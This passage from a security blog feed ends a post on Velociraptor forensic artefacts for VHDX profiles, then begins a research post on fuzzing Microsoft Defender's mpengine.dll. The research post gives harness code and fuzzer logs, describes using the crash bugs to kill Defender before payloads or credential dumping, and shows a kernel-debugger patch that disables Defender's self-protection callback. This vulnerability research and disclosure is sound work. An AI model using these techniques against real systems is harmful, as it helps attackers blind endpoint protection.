&lt;li&gt;&lt;strong&gt;Mount remapping&lt;/strong&gt; for &lt;code&gt;ntfs&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;auto&lt;/code&gt;, and &lt;code&gt;registry&lt;/code&gt; accessors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once executed, the artefact will list the path of the created profiles in the results section.&lt;br /&gt;
&lt;img src=&quot;files/image_x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows.Vhdx.VirtualClientRunner&lt;/h2&gt;
&lt;p&gt;This artefact launches one Velociraptor process per remapping file, effectively simulating a client that represents a set of user profiles.&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;customLabel&lt;/code&gt;: Label to assign to virtual clients (must match label used in &lt;code&gt;Windows.Sys.Users&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;remappingFile&lt;/code&gt;: One or more remapping YAML files to launch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It creates a subdirectory &lt;code&gt;Vhdx/Writeback&lt;/code&gt; for temporary writeback data. Each remapping file is passed into a PowerShell process that starts the virtual client.
Once executed, the artefact lists all successfully started virtual clients.&lt;br /&gt;
&lt;img src=&quot;files/image_c.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows.Vhdx.VirtualClientRemover&lt;/h2&gt;
&lt;p&gt;This artefact stops running virtual clients and optionally deletes all related configuration files.&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RemappingFile&lt;/code&gt;: Specific remapping file or directory to target.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RemoveConfiguration&lt;/code&gt;: If enabled, deletes &lt;code&gt;Vhdx&lt;/code&gt; folder and its subfolders.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReallyKillProcess&lt;/code&gt;: If enabled, terminates running Velociraptor processes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It searches for running clients based on remapping file usage and performs cleanup accordingly.&lt;br /&gt;
&lt;img src=&quot;files/image_l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Security Considerations&lt;/h1&gt;
&lt;p&gt;All testing described in this research was conducted on offline VHDX files, that is, files no longer actively managed by services like Citrix or Windows profile management tools.&lt;br /&gt;
In live environments, where VHDX profiles may still be in use or mounted, several risks should be considered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Writeback conflicts&lt;/strong&gt;: If Velociraptor or the OS attempts to write to an active VHDX file, it may result in data corruption or race conditions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Profile locking&lt;/strong&gt;: Some virtualisation platforms may lock VHDX files during use, preventing remapping or causing artefact failures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System performance&lt;/strong&gt;: Mounting and scanning a large number of VHDX files can place a significant load on the host system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Recommendations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Perform investigations on copies of VHDX files whenever possible.&lt;/li&gt;
&lt;li&gt;Avoid using this approach directly on live Citrix or VDI environments without controlled testing.&lt;/li&gt;
&lt;li&gt;Start with small user subsets and adjust batch size based on your environment&apos;s capacity.&lt;/li&gt;
&lt;li&gt;Monitor resource usage (I/O, memory, open handles) when scaling beyond hundreds of profiles.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While we successfully analysed 1,000 small (2 GB) VHDX profiles in under a minute, larger profiles or more aggressive batching may introduce bottlenecks. Tailor your approach to match the capabilities and constraints of your infrastructure.&lt;/p&gt;
&lt;h1&gt;Availability on the Velociraptor Artifact Exchange&lt;/h1&gt;
&lt;p&gt;The entire VHDX Suite, including all artefacts presented in this article, is now available directly on the &lt;a href=&quot;https://docs.velociraptor.app/exchange/&quot;&gt;Velociraptor Artifact Exchange&lt;/a&gt;, the official community platform for sharing and maintaining Velociraptor artefacts.&lt;/p&gt;
&lt;p&gt;This means you can easily install, review, or adapt these artefacts within your existing Velociraptor deployment without manual import. Publishing them through the Exchange also ensures they are peer-reviewed and accessible to the wider DFIR community, supporting transparency and collaboration.&lt;/p&gt;
&lt;p&gt;If you wish to explore, test, or contribute improvements, simply search for the VHDX Suite by name on the Exchange portal or use the built-in Velociraptor GUI integration to fetch them directly.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This VHDX Velociraptor artefact suite provides a scalable and efficient method for conducting forensic investigations across user profiles stored in VHDX files. By leveraging virtual clients with remapped environments, analysts can reuse standard artefacts, such as &lt;code&gt;UserAssist&lt;/code&gt; or &lt;code&gt;NTUSER.DAT&lt;/code&gt; parsers, without modification.&lt;/p&gt;
&lt;p&gt;In our testing, this approach enabled the analysis of over 1,000 VHDX profiles in under a minute, significantly reducing the effort and complexity traditionally associated with VHDX triage.&lt;br /&gt;
While further validation is recommended in live or larger-scale environments, this methodology opens the door to high-volume, profile-level investigations using familiar DFIR tooling, without sacrificing speed or forensic integrity.&lt;/p&gt;
&lt;p&gt;The VHDX Suite artefacts featured in this post are now available on the &lt;a href=&quot;https://docs.velociraptor.app/exchange/&quot;&gt;Velociraptor Artifact Exchange&lt;/a&gt;, enabling practitioners to deploy and experiment with this workflow directly within their own environments.&lt;/p&gt;
</content:encoded><author>Yann Malherbe</author></item><item><title>Attacking EDRs Part 4: Fuzzing Defender&apos;s Scanning and Emulation Engine (mpengine.dll)</title><link>https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/</guid><description>Multiple out-of-bounds read and null dereference bugs were identified in Microsoft Defender by using Snapshot Fuzzing with WTF and kAFL/NYX. The bugs can be used to crash the main Defender process as soon as the file is scanned. Most are unpatched, but none appear exploitable for code execution.</description><pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing the attack surface for Endpoint Detection and Response (EDR) solutions by &lt;a href=&quot;https://x.com/p0w1_&quot;&gt;p0w1_&lt;/a&gt;. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; (&lt;strong&gt;this post&lt;/strong&gt;) describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Introduction&lt;/h1&gt;
&lt;p&gt;Microsoft Defender (and Defender for Endpoint) is a very interesting target for attackers. It&apos;s installed by default, runs as SYSTEM, has 1-click remote attack surface and has a vast codebase that parses and unpacks numerous file formats, making it prone to memory corruption vulnerabilities. Despite this, it does not receive much attention from public vulnerability researchers.&lt;/p&gt;
&lt;p&gt;Tavis Ormandy from Google Project Zero was one of the first to look into it and find an exploitable vulnerability &lt;a href=&quot;https://project-zero.issues.chromium.org/issues/42450309&quot;&gt;CVE-2017-8558&lt;/a&gt;. He created a DLL loader on Linux to fuzz it called &lt;a href=&quot;https://github.com/taviso/loadlibrary&quot;&gt;loadlibrary&lt;/a&gt; because at that time, no suitable Windows fuzzer for this target was available. Another RCE is &lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34522&quot;&gt;CVE-2021-34522&lt;/a&gt;. Afterwards, relatively little  research or vulnerabilities were published, which motivated me to explore this target.&lt;/p&gt;
&lt;h1&gt;2. Summary&lt;/h1&gt;
&lt;p&gt;Microsoft Defender and Defender for Endpoint include a local analysis engine &lt;code&gt;mpengine.dll&lt;/code&gt;, to identify potentially malicious files. This engine performs static checks and uses emulation environments for different file types. This target was fuzzed on Windows mainly using the snapshot fuzzer &lt;a href=&quot;https://github.com/0vercl0k/wtf&quot;&gt;WTF&lt;/a&gt;. Additionally, &lt;a href=&quot;https://github.com/IntelLabs/kAFL&quot;&gt;kAFL/NYX&lt;/a&gt; and &lt;a href=&quot;https://github.com/googleprojectzero/Jackalope&quot;&gt;Jackalope&lt;/a&gt; were tested. WTF found nine different bugs (OOB-reads and null dereferences), some of which can be used to crash Defender(&lt;code&gt;MsMpEng.exe&lt;/code&gt;) under normal conditions. Some bugs only lead to a crash with PageHeap enabled. However, after my analysis, none of the bugs appear to be exploitable for code execution.
Therefore, these bugs can primarily be used to kill Defender, allowing subsequent malicious actions without detection or prevention. For example, a malicious file could be delivered alongside an initial access payload to kill Defender before the payload executes. Alternatively, it could be used in an internal network to disable Defender by uploading the file to a target host or share before dumping credentials.&lt;/p&gt;
&lt;p&gt;Microsoft officially doesn&apos;t care about these vulnerabilities and responds with the famous:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After careful investigation, this case has been assessed as moderate severity and does not meet MSRC’s bar for immediate servicing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Despite this, they have probably quietly fixed at least one reported bug within a few weeks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Shortly after this post was published, all bugs were fixed silently.&lt;/p&gt;
&lt;h1&gt;3. How to fuzz &lt;code&gt;mpengine.dll&lt;/code&gt;?&lt;/h1&gt;
&lt;p&gt;In 2017, Google Project Zero fuzzed it on Linux by creating a &lt;a href=&quot;https://github.com/taviso/loadlibrary&quot;&gt;DLL loader&lt;/a&gt; and writing this &lt;a href=&quot;https://github.com/taviso/loadlibrary/blob/master/mpclient.c&quot;&gt;harness&lt;/a&gt;. The original harness does no longer work on newer mpengine versions but this could be fixed by some changes. In 2022, &lt;a href=&quot;https://medium.com/s2wblog/fuzzing-the-shield-cve-2022-24548-96f568980c0&quot;&gt;S2W&lt;/a&gt; ported the harness to a newer mpengine version (though not publicly released) and fuzzed it using Jackalope.&lt;/p&gt;
&lt;p&gt;Both approaches manually booted mpengine using &lt;code&gt;RSIG_BOOTENGINE&lt;/code&gt; and then initiated a scan by &lt;code&gt;RSIG_SCAN_STREAMBUFFER&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BootParams.ClientVersion = BOOTENGINE_PARAMS_VERSION;
BootParams.Attributes    = BOOT_ATTR_NORMAL;
BootParams.SignatureLocation = L&quot;engine&quot;;
BootParams.ProductName = L&quot;Legitimate Antivirus&quot;;
EngineConfig.QuarantineLocation = L&quot;quarantine&quot;;
EngineConfig.Inclusions = L&quot;*.*&quot;;
EngineConfig.EngineFlags = 1 &amp;lt;&amp;lt; 1;
BootParams.EngineInfo = &amp;amp;EngineInfo;
BootParams.EngineConfig = &amp;amp;EngineConfig;
KernelHandle = NULL;
__rsignal(&amp;amp;KernelHandle, RSIG_BOOTENGINE, &amp;amp;BootParams, sizeof BootParams) != 0

[...]

ScanParams.Descriptor        = &amp;amp;ScanDescriptor;
ScanParams.ScanReply         = &amp;amp;ScanReply;
ScanReply.EngineScanCallback = EngineScanCallback;
ScanReply.field_C            = 0x7fffffff;
ScanDescriptor.Read          = ReadStream;  //The fuzzing payload is read by this function
ScanDescriptor.GetSize       = GetStreamSize;
ScanDescriptor.GetName       = GetStreamName;
__rsignal(&amp;amp;KernelHandle, RSIG_SCAN_STREAMBUFFER, &amp;amp;ScanParams, sizeof ScanParams)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question for me was: does this actually scan the content in the exact same way as when a file or stream is scanned under normal operating conditions? Perhaps there are other configurations, or it scans files differently than streams?&lt;/p&gt;
&lt;p&gt;While browsing &lt;code&gt;mpengine.dll&lt;/code&gt; in IDA, I noticed many configuration options that could influence fuzzing results if they differed from a real environment:
&lt;img src=&quot;./mpengine_queryconfig.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Therefore, I decided to use a different approach by using snapshot fuzzing with WTF. This way, mpengine.dll is already booted and configured identically to a real environment. Additionally, a file-based scan can be used instead of a stream when taking a snapshot after initiating a file scan. An overview of the steps to use WTF are already described in &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/#3-sophos-intercept-x&quot;&gt;Part 2, Section 3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A manual file scan for Defender can be triggered using &lt;code&gt;MpCmdRun.exe&lt;/code&gt;. However, this does not trigger the scan in the same process but instead sends a RPC request and then uses the exported function &lt;code&gt;rsignal&lt;/code&gt; to initiate the scan within &lt;code&gt;mpengine.dll&lt;/code&gt; loaded by &lt;code&gt;MsMpEng.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The next step is to debug Defender in order to understand where the scans occur.&lt;/p&gt;
&lt;h2&gt;3.1 Debugging Defender&lt;/h2&gt;
&lt;p&gt;The target process that needs to be debugged is &lt;code&gt;MsMpEng.exe&lt;/code&gt;. However, AVs/EDRs have self-protection features to prevent debugging or code injection.&lt;/p&gt;
&lt;p&gt;There are two main options to debug it:&lt;/p&gt;
&lt;h4&gt;1.) Use a user mode debugger and bypass restrictions&lt;/h4&gt;
&lt;p&gt;Use &lt;a href=&quot;https://github.com/itm4n/PPLcontrol&quot;&gt;PPLControl&lt;/a&gt; to elevate the debugging process to PPL-WinSystem. Afterwards, this process can access other PPL processes, such as Defender&apos;s.
&lt;img src=&quot;./pplcontrol.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./pplcontrol2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, kernel callbacks still prevent access to &lt;code&gt;MsMpEng.exe&lt;/code&gt;. These can be removed by overwriting a central callback function in the Defender kernel driver &lt;code&gt;WdFilter.sys&lt;/code&gt; using WinDBG as a kernel debugger:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; a WdFilter!MpObPreOperationCallback
fffff807`1e5cd100 xor eax,eax
fffff807`1e5cd102 ret
fffff807`1e5cd103 
0: kd&amp;gt; u WdFilter!MpObPreOperationCallback
WdFilter!MpObPreOperationCallback:
fffff807`1e5cd100 31c0            xor     eax,eax
fffff807`1e5cd102 c3              ret
fffff807`1e5cd103 284883          sub     byte ptr [rax-7Dh],cl
fffff807`1e5cd106 7a08            jp      WdFilter!MpObPreOperationCallback+0x10 (fffff807`1e5cd110)
fffff807`1e5cd108 00742e48        add     byte ptr [rsi+rbp+48h],dh
fffff807`1e5cd10c 8b05de33feff    mov     eax,dword ptr [WdFilter!ExDesktopObjectType (fffff807`1e5b04f0)]
fffff807`1e5cd112 488b4a10        mov     rcx,qword ptr [rdx+10h]
fffff807`1e5cd116 483b08          cmp     rcx,qword ptr [rax]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterwards, a debugger can be attached regularly:
&lt;img src=&quot;./windbg_msmpeng.exe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.) Use WinDBG as a kernel debugger and follow the MsMpEng.exe process.&lt;/h4&gt;
&lt;p&gt;After attaching WinDBG (e.g., with &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically&quot;&gt;KDNET&lt;/a&gt;), set the debugger&apos;s context to the target process:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 0 MsMpEng.exe
PROCESS ffffb385a10d0080
    SessionId: 0  Cid: 0df8    Peb: 22c10a0000  ParentCid: 0288
    DirBase: 1a431e000  ObjectTable: ffffe08888ed27c0  HandleCount: 452.
    Image: MsMpEng.exe

kd&amp;gt; .process /i /p ffffb385a10d0080
You need to continue execution (press &apos;g&apos; &amp;lt;enter&amp;gt;) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd&amp;gt; g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`829fedc0 cc              int     3
kd&amp;gt; .reload /user
Loading User Symbols
.....................................................
kd&amp;gt; lmu
start             end                 module name
00007ff7`15a50000 00007ff7`15a6f000   MsMpEng    (deferred)             
00007ffe`52430000 00007ffe`5247d000   wscapi     (deferred)             
00007ffe`59090000 00007ffe`5a29f000   mpengine   (deferred)   

kd&amp;gt; bp /p ffffb385a10d0080 mpengine!UfsScannerWrapper::ScanFile
kd&amp;gt; g
Breakpoint 1 hit
mpengine!UfsScannerWrapper::ScanFile:
0033:00007ffe`5926fba0 48895c2408      mov     qword ptr [rsp+8],rbx         
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, you can use &lt;a href=&quot;https://github.com/bootleg/ret-sync&quot;&gt;ret-sync&lt;/a&gt; to synchronize the debugger&apos;s position with a static analysis tool like IDA Pro. This allows stepping through decompiled code, which is very helpful:
&lt;img src=&quot;./windbg_retsync.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;4. Fuzzing&lt;/h1&gt;
&lt;h2&gt;4.1 WTF Snapshot Position&lt;/h2&gt;
&lt;p&gt;The next step is to take a snapshot at a good position that primarily executes the interesting target code. Fortunately, public debug symbols for &lt;code&gt;Mpengine.dll&lt;/code&gt; are typically released some days or weeks after a new version. However, this DLL is almost 20MB and it&apos;s not easy to navigate. Therefore, I used ProcMon from Sysinternals to identify the code location where the target file is read.
&lt;img src=&quot;./procmon.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The best position would be after the file content is loaded into memory and passed as an argument to a scan function, like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;res = readFile(path);
scanFile(res.content, res.size);  //Take snapshot on this line
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, the actual code is not that straightforward. I decided to take the snapshot before the file is read and then inject the fuzzing payloads in a virtual implementation of &lt;code&gt;ReadFile&lt;/code&gt; in WTF. The initial problem was, that the code called functions which accessed hardware such as the file system. This is not available in WTF as it only emulates memory and CPU. WTF already implements some virtual file system functions in &lt;a href=&quot;https://github.com/0vercl0k/wtf/blob/main/src/wtf/fshooks.cc&quot;&gt;fshooks.cc&lt;/a&gt;, but additional ones needed to be added. At the end the snapshot was taken within &lt;code&gt;mpengine!SysIo::OpenFile&lt;/code&gt; after a call to &lt;code&gt;FilterOplock::AcquireOplock&lt;/code&gt; because this function was not implemented virtually.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall SysIo::OpenFile(
        SysIo *this,
        wchar_t *file_path,
        unsigned int a3,
        unsigned int access_flags,
        unsigned int share_mode,
        struct IFile **a6,
        struct IFile *a7)
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;snapshot_position_ida.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Snapshot position at mpengine+0x15469A (within SysIo::OpenFile)&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;4.2 WTF Harness&lt;/h2&gt;
&lt;p&gt;Writing a harness for WTF (see &lt;a href=&quot;https://github.com/0vercl0k/wtf/blob/main/src/wtf/fuzzer_dummy.cc&quot;&gt;dummy-template&lt;/a&gt;) differs from typical fuzzers like AFL++, WinAFL, Jackalope, or LibFuzzer. Usually, the harness needs to set up the target and call the target function. For WTF, it typically only needs to inject the fuzzing payload and size at the correct memory location. In this case, however, the fuzzing payload needs to be provided to the &lt;code&gt;ReadFile&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;The following code shows the cropped code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool InsertTestcase(const uint8_t *Buffer, const size_t BufferSize) {
  [...]
  std::u16string GuestFile = uR&quot;(\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe)&quot;;
  
  g_FsHandleTable.MapExistingGuestFile(GuestFile.c_str(), Buffer, BufferSize);
  //g_FsHandleTable.AddHandle(HANDLE(0x97c), GuestFileFile); //Alternatively, if the file is already opened, it can be mapped to a handle.
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The debug print statements of the hooked file functions confirm that the file is opened and read correctly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS &amp;gt; .\wtf.exe run --name defender_file --input .\test --state .\state2_MpEngine1.1.2310_PHenabled_locked\ 
Setting @fptw to 0xff&apos;ff.
Initializing the debugger instance.. (this takes a bit of time)
Setting debug register status to zero.
Setting debug register status to zero.
DEBUG: 0
Could not set a breakpoint at hal!HalpPerfInterrupt.
Failed to set breakpoint on HalpPerfInterrupt, but ignoring..
Running .\test
fs: Mapping already existing guest file \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe with filestream(16483)
fs: ntdll!NtCreateFile(FileHandle=0x9f0c8fc848, DesiredAccess=0x120089, ObjectAttributes=0x9f0c8fc880 (\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe), IoStatusBlock=0x9f0c8fc870, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7 (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE), CreateDisposition=0x1 (FILE_OPEN), CreateOptions=0x160 (FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_COMPLETE_IF_OPLOCKED), EaBuffer=0x0, EaLength=0x0)
fs: IsBlacklisted: false
fs: Exists: true
fs: Opening 0x7ffffffe for \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe
fs: ntdll!NtQueryVolumeInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc9b0, FsInformation=0x9f0c8fc9e0, Length=0x8, FsInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc980, FileInformation=0x9f0c8fc990, Length=0x28, FileInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fca20, FileInformation=0x9f0c8fca30, Length=0x18, FileInformationClass=0x5)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc848, FileInformation=0x9f0c8fc840, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc870, Buffer=0x231017abfe0, Length=0x1000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc838, FileInformation=0x9f0c8fc830, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc860, Buffer=0x231017aefe0, Length=0x2000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8f9de8, FileInformation=0x9f0c8f9de0, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8f9e10, Buffer=0x231017acfe0, Length=0x4000, ByteOffset=0x0, Key=0x0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In order to debug the fuzzing process, it is useful to set breakpoints in interesting functions to see if they are called:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool Init(const Options_t &amp;amp;Opts, const CpuState_t &amp;amp;) {
  if (!g_Backend-&amp;gt;SetBreakpoint(&quot;mpengine!UfsScannerWrapper::ScanFile&quot;, [](Backend_t *Backend) {
        DebugPrint(&quot;Called ScanFile()\n&quot;);          
      })) {
    DebugPrint(&quot;Failed to SetBreakpoint mpengine!UfsScannerWrapper::ScanFile\n&quot;);
    return false;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Additionally, the coverage output can be loaded in &lt;a href=&quot;https://github.com/gaasedelen/lighthouse&quot;&gt;Lighthouse&lt;/a&gt; or &lt;a href=&quot;https://github.com/gaasedelen/tenet&quot;&gt;tenet-traces&lt;/a&gt; can be created.&lt;/p&gt;
&lt;p&gt;During tests with a small corpus, too many context switches (changes to the CR3 register) occurred. These negatively impact performance in snapshot fuzzers. Most could be resolved by skipping certain functions. For example, &lt;code&gt;mpengine!IsTrustedFile&lt;/code&gt; attempted to load certificate files from disk to verify trust. Such functions can be skipped:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!g_Backend-&amp;gt;SetBreakpoint(&quot;mpengine!IsTrustedFile&quot;, [](Backend_t *Backend) {
        DebugPrint(&quot;mpengine!IsTrustedFile Hook SKIP 0x0&quot;);
        Backend-&amp;gt;SimulateReturnFromFunction(0);
      })) {
    DebugPrint(&quot;Failed to SetBreakpoint IsTrustedFile&quot;);
    return false;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fuzzing speed with the BochsCPU backend was impractically slow, but using KVM, I achieved 30-100 exec/s on a modern server CPU depending on the file size and type. The target executes billions of instructions depending on the payload, so really high speeds cannot be expected. Even on a real system, some files can take multiple seconds to scan.&lt;/p&gt;
&lt;h2&gt;4.3 Initial Corpus&lt;/h2&gt;
&lt;p&gt;A large and diverse corpus is essential for this target, as it parses numerous file types, including packed files that coverage-guided fuzzing alone might not effectively explore without good initial seeds.
The files which are interesting for Defender are actual malware. And the perfect place to find a huge amout of malware is &lt;a href=&quot;https://vx-underground.org/&quot;&gt;VX-Underground&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Seeding the initial corpus took multiple days, but it resulted in a good coverage increase, with over 10,000 files yielding distinct coverage.&lt;/p&gt;
&lt;h2&gt;4.4 Fuzzing with WTF&lt;/h2&gt;
&lt;p&gt;Snapshots were taken with and without PageHeap enabled for &lt;code&gt;MsMpEng.exe&lt;/code&gt;. As the target is rather slow and memory-heavy, the speed without PageHeap is significantly higher. Therefore, fuzzing was first run without PageHeap to explore coverage and subsequently with PageHeap to catch more bugs.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./wtf master --name defender_file --inputs inputs --runs 100000000  --max_len 100000 
Iterating through the corpus..
Sorting through the 219701 entries..
#8151 cov: 56117 (+56117) corp: 1503 (9.9kb) exec/s: 815.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 0 uptime: 1.4min
#14182 cov: 67734 (+11617) corp: 2430 (31.4kb) exec/s: 709.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 28 uptime: 1.6min
#19470 cov: 72835 (+5101) corp: 3103 (58.8kb) exec/s: 649.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 47 uptime: 1.7min
#23475 cov: 79492 (+6657) corp: 3540 (85.0kb) exec/s: 586.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 49 uptime: 1.9min
#25946 cov: 81771 (+2279) corp: 3774 (102.4kb) exec/s: 518.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 56 uptime: 2.0min
#29398 cov: 85851 (+4080) corp: 4156 (136.9kb) exec/s: 489.0 (23 nodes) lastcov: 0.0s crash: 8 timeout: 0 cr3: 63 uptime: 2.2min
#33006 cov: 88877 (+3026) corp: 4487 (173.8kb) exec/s: 471.0 (23 nodes) lastcov: 0.0s crash: 9 timeout: 0 cr3: 66 uptime: 2.4min
#35472 cov: 92594 (+3717) corp: 4784 (213.7kb) exec/s: 443.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 70 uptime: 2.5min
#37112 cov: 94070 (+1476) corp: 4950 (239.0kb) exec/s: 412.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.7min
#38765 cov: 94880 (+810) corp: 5103 (264.7kb) exec/s: 387.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.9min
#39673 cov: 95412 (+532) corp: 5186 (279.8kb) exec/s: 360.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 3.0min
